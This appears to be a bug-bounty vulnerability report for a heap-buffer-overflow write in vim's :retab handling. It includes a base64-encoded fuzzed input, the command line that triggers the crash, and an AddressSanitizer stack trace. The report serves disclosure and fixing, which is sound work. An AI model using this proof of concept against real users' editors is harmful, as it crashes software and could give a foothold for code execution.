✍️ Description

Hello, we hope this message finds you well during these challenging times. Whilst testing vim built from commit deba5e with Ubuntu clang version 12.0.0-3ubuntu1~20.04.3 and Address Sanitizer, we discovered crafted input which triggers a heap-buffer-overflow, WRITE of size 15. Please note that we ran ./configure --with-features=huge --enable-gui=none before compiling.

🕵️‍♂️ Proof of Concept

First:

echo "c3YQIwhlZmllZAAuSgoxUmVzZXJ2F2QgU3RkaW5ngmluZwEAAABAAAAAZGmAAABzCiMKIwlThnJp
bmeRIHdoRjk5NDI5OSk5OTk5OTk5OTk5YzEl////YmQgCv4JCgovMAPoCgPoZEVmaVZlZAqSAIBl
Ly8vLy8QZgp1RykKAQAKbGMKCi4wKi4ALkwKMSwwIwlVZXNlcnZlZCBTdGJpbgowLi8uMC8wCi0y
MTQ3NHz///84LykxCkw5dQoDq/8KCnVuaWz4CiMKIwosCnN2EGYI/1xsAAAKcnYQ5C0ugP///zER
TAp0cnVlRWUwClN2YAogAIBlZgpwdQpyZXQ4NTU4NTk5OTk5OTk5OTk5OTk5OTk5NTU1NTU1NTU1" | base64 -d > fuzz448.txt

Then, execute this command line:
vim -u NONE -X -Z -e -s -S fuzz448.txt -c :qa!

The above POC returns this ASan stack trace:

==4482==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000007608 at pc 0x000000442ce2 bp 0x7ffc481a7d50 sp 0x7ffc481a7518
WRITE of size 15 at 0x602000007608 thread T0
    #0 0x442ce1 in __asan_memmove (/home/geeknik/vim/src/vim+0x442ce1)
    #1 0x9bfa95 in ex_retab /home/geeknik/vim/src/indent.c:1691:4
    #2 0x7f18af in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #3 0x7f18af in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #4 0xf14850 in do_source /home/geeknik/vim/src/scriptfile.c:1406:5
    #5 0xf22862 in cmd_source /home/geeknik/vim/src/scriptfile.c:971:14
    #6 0xf22862 in ex_source /home/geeknik/vim/src/scriptfile.c:997:2
    #7 0x7f18af in do_one_cmd /home/geeknik/vim/src/ex_docmd.c:2610:2
    #8 0x7f18af in do_cmdline /home/geeknik/vim/src/ex_docmd.c:999:17
    #9 0x150f035 in do_cmdline_cmd /home/geeknik/vim/src/ex_docmd.c:593:12
    #10 0x150f035 in exe_commands /home/geeknik/vim/src/main.c:3081:2
    #11 0x150f035 in vim_main2 /home/geeknik/vim/src/main.c:773:2
    #12 0x1507859 in main /home/geeknik/vim/src/main.c:425:12
    #13 0x7f697524e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #14 0x3c81cd in _start (/home/geeknik/vim/src/vim+0x3c81cd)

0x602000007608 is located 8 bytes to the left of 7-byte region [0x602000007610,0x602000007617)
allocated by thread T0 here:
    #0 0x44342d in malloc (/home/geeknik/vim/src/vim+0x44342d)
    #1 0x477d3d in lalloc /home/geeknik/vim/src/alloc.c:244:11

💥 Impact

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program’s implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker’s code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.